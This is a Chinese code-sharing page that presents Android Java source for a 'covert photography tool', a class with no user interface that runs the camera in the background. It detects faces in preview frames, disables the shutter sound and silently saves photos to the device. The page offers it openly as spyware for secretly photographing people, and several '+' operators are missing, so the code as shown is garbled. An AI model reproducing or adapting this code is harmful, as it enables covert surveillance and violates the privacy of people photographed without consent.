android 偷拍神器实例源码(后台自动拍照)

Java基础

浏览数:114

2020-7-16

AD:资源代下载服务

,无界面,摄像头后台自动拍照,

package com.paul.faceshot;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import com.paul.faceshot.tool.DBHelper;
import com.paul.faceshot.tool.FaceDetectTool;
import com.paul.faceshot.tool.ParameterInit;

import android.content.ContentValues;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.hardware.Camera;
import android.hardware.Camera.ErrorCallback;
import android.hardware.Camera.Face;
import android.hardware.Camera.FaceDetectionListener;
import android.hardware.Camera.PreviewCallback;
import android.hardware.SensorEvent;
import android.media.MediaScannerConnection;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;

public class CameraControl extends SurfaceView implements SurfaceHolder.Callback {
	private boolean openDebug = true;
	private String TAG = "FaceShot";
	private static SurfaceHolder mHolder = null;
	private static Context mContext;
	private Camera camera;
	private DBHelper dbHelper;
	private int display_rotation;
	private FaceDetectionListener myFaceDetectionListener = new FaceDetectionListener() {
		@Override
		public void onFaceDetection(Face[] faces, Camera camera) {
			System.out.println("pfpf device find faces");
			if (faces.length > 0 && ShotService.askFaceDetecedPermission()) {
				ShotService.lockFaceDeteced();
				takePicture();
			}
		}
	};

	private PreviewCallback mPreviewCallback = new PreviewCallback() {
		@Override
		public void onPreviewFrame(byte[] data, Camera camera) {
			if (ShotService.askFaceDetecedPermission()) {
				ShotService.lockFaceDeteced();
				Bitmap bmp = FaceDetectTool.decodeToBitMap(data, camera, display_rotation);
				if (FaceDetectTool.faceDeted(bmp)) {
					saveBitmap(bmp);
				}
				if (bmp != null) {
					bmp.recycle();
					bmp = null;
				}
			}
		}
	};

	private void saveBitmap(Bitmap bmp) {
		File f = getOutputMediaTempFile();
		try {
			f.createNewFile();
		} catch (IOException e) {
		}
		FileOutputStream fOut = null;
		try {
			fOut = new FileOutputStream(f);
		} catch (FileNotFoundException e) {
			e.printStackTrace();
		}
		bmp.compress(Bitmap.CompressFormat.PNG, 100, fOut);
		try {
			fOut.flush();
		} catch (IOException e) {
			e.printStackTrace();
		}
		try {
			fOut.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
		if (f != null) {
			broadcastFile(f);
		}
		System.out.println("pfpf save bmp");
	}

	private Camera.ShutterCallback shutterCallback = new Camera.ShutterCallback() {
		public void onShutter() {
		}
	};

	private Camera.PictureCallback jpegPictureCallback = new Camera.PictureCallback() {
		public void onPictureTaken(byte[] data, Camera cam) {
			// n.b., this is automatically run in a different thread
			System.gc();
			BitmapFactory.Options options = new BitmapFactory.Options();
			// options.inMutable = true;
			options.inPurgeable = true;
			Bitmap bitmap = null;
			Bitmap bitmap_temp = BitmapFactory.decodeByteArray(data, 0, data.length, options);
			if (FaceDetectTool.faceDeted(bitmap_temp)) {
				bitmap = FaceDetectTool.rotBmpToDisplay(bitmap_temp, display_rotation);
				saveBitmap(bitmap);
			} else {
				System.gc();
				return;
			}
			System.gc();
			camera.startPreview();
		}
	};

	@SuppressWarnings("deprecation")
	public CameraControl(Context context) {
		super(context);
		mContext = context;
		dbHelper = DBHelper.getInstance(context);
		mHolder = getHolder();
		mHolder.addCallback(this);
		// 设置该SurfaceView自己不维护缓冲
		mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
	}

	public void openCamera() {
		int camera_choose = ShotService.getCameraChoose();
		System.out.println("pfpf choose=" camera_choose);
		ContentValues cameraData = dbHelper.downloadCameraData(camera_choose);
		int cameraId = ParameterInit.initCameraId(cameraData);
		camera = Camera.open(cameraId);
		camera.setErrorCallback(new ErrorCallback() {

			@Override
			public void onError(int arg, Camera camera) {
				return;
			}
		});
		Camera.CameraInfo info = new Camera.CameraInfo();
		Camera.getCameraInfo(cameraId, info);
		Camera.Parameters parameters = camera.getParameters();
		display_rotation = ParameterInit.initDisplayOrientation(camera, info);
		ParameterInit.initWhiteBalance(parameters, cameraData);
		ParameterInit.initExposures(parameters);
		ParameterInit.initPictureSize(parameters, cameraData);
		parameters.setJpegQuality(100);
		ParameterInit.initPreviewSize(parameters, cameraData);
		dbHelper.uploadCameraData(cameraData);
		camera.setParameters(parameters);
		try {
			camera.setPreviewDisplay(mHolder);
		} catch (IOException e) {
			e.printStackTrace();
		}
//		if (ParameterInit.initFaceDetection(camera, parameters, cameraData)) {
		if (false){
			camera.setFaceDetectionListener(myFaceDetectionListener);
			camera.startFaceDetection();
			camera.startPreview();
		} else {
			camera.setPreviewCallback(mPreviewCallback);
			camera.startPreview();
		}
	}

	private void takePicture() {
		takePictureWhenFocused();
	}

	private void takePictureWhenFocused() {
		if (camera != null) {
			Camera.Parameters parameters = camera.getParameters();
			// camera.setParameters(parameters);
			if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
				camera.enableShutterSound(false);
			}
			try {
				camera.takePicture(shutterCallback, null, jpegPictureCallback);
			} catch (RuntimeException e) {
				// just in case? We got a RuntimeException report here from 1
				// user on Google Play; I also encountered it myself once of
				// Galaxy Nexus when starting up
				if (openDebug)
					Log.e(TAG, "runtime exception from takePicture");
				e.printStackTrace();
			}
		}
		if (openDebug)
			Log.d(TAG, "takePicture exit");
	}

	private File getOutputMediaFile() {
		File mediaStorageDir = getImageFolder();
		// Create a media file name
		String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
		File mediaFile = null;
		for (int count = 1; count <= 100; count  ) {
			mediaFile = new File(mediaStorageDir.getPath()   File.separator   "FaceShot"   "_"   timeStamp   ".jpg");
			if (!mediaFile.exists()) {
				break;
			}
		}
		if (openDebug) {
			Log.d(TAG, "getOutputMediaFile returns: "   mediaFile);
		}
		return mediaFile;
	}

	private File getOutputMediaTempFile() {
		File mediaStorageDir = getImageFolder();
		// Create a media file name
		String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
		File mediaFile = null;
		for (int count = 1; count <= 100; count  ) {
			mediaFile = new File(
					mediaStorageDir.getPath()   File.separator   "FaceShot_Temp"   "_"   timeStamp   ".jpg");
			if (!mediaFile.exists()) {
				break;
			}
		}
		if (openDebug) {
			Log.d(TAG, "getOutputMediaFile returns: "   mediaFile);
		}
		return mediaFile;
	}

	private File getImageFolder() {
		String folder_name = "FaceShot";
		File file = null;
		if (folder_name.length() > 0 && folder_name.lastIndexOf('/') == folder_name.length() - 1) {
			// ignore final '/' character
			folder_name = folder_name.substring(0, folder_name.length() - 1);
		}
		if (folder_name.startsWith("/")) {
			file = new File(folder_name);
		} else {
			file = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), folder_name);
		}
		if (!file.exists()) {
			if (!file.mkdirs()) {
				return null;
			}
			broadcastFile(file);
		}
		return file;
	}

	private void broadcastFile(File file) {
		// note that the new method means that the new folder shows up as a file
		// when connected to a PC via MTP (at least tested on Windows 8)
		if (file.isDirectory()) {
			// this.sendBroadcast(new Intent(Intent.ACTION_MEDIA_MOUNTED,
			// Uri.fromFile(file)));
			// ACTION_MEDIA_MOUNTED no longer allowed on Android 4.4! Gives:
			// SecurityException: Permission Denial: not allowed to send
			// broadcast android.intent.action.MEDIA_MOUNTED
			// note that we don't actually need to broadcast anything, the
			// folder and contents appear straight away (both in Gallery on
			// device, and on a PC when connecting via MTP)
			// also note that we definitely don't want to broadcast
			// ACTION_MEDIA_SCANNER_SCAN_FILE or use scanFile() for folders, as
			// this means the folder shows up as a file on a PC via MTP (and
			// isn't fixed by rebooting!)
		} else {
			// both of these work fine, but using
			// MediaScannerConnection.scanFile() seems to be preferred over
			// sending an intent
			// this.sendBroadcast(new
			// Intent(Intent.ACTION_MEDIA_SCANNER_SCAN_FILE,
			// Uri.fromFile(file)));
			MediaScannerConnection.scanFile(mContext, new String[] { file.getAbsolutePath() }, null,
					new MediaScannerConnection.OnScanCompletedListener() {
						public void onScanCompleted(String path, Uri uri) {
							if (openDebug) {
								Log.d("ExternalStorage", "Scanned "   path   ":");
								Log.d("ExternalStorage", "-> uri="   uri);
							}
						}
					});
		}
	}

	public void closeCamera() {
		if (openDebug) {
			Log.d(TAG, "closeCamera()");
		}
		if (camera != null) {
			camera.stopPreview();
			camera.setPreviewCallback(null);
			camera.release();
			camera = null;
		}
		System.gc();
	}

	// private void reconnectCamera(boolean quiet) {
	// if (camera != null) { // just to be safe
	// try {
	// camera.reconnect();
	// this.startCameraPreview();
	// } catch (IOException e) {
	// closeCamera();
	// }
	// try {
	// tryAutoFocus(false, false);
	// } catch (RuntimeException e) {
	// camera.release();
	// camera = null;
	// openCamera();
	// }
	// }
	// }

	@Override
	public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
		System.out.println("pfpf surfacechanged");
	}

	@Override
	public void surfaceCreated(SurfaceHolder holder) {
		this.setWillNotDraw(false);
	}

	@Override
	public void surfaceDestroyed(SurfaceHolder holder) {
		System.out.println("pfpf surfaceDestroyed");
		this.closeCamera();
	}

	public void onAccelerometerSensorChanged(SensorEvent event) {
	}

	public void onMagneticSensorChanged(SensorEvent event) {
	}
}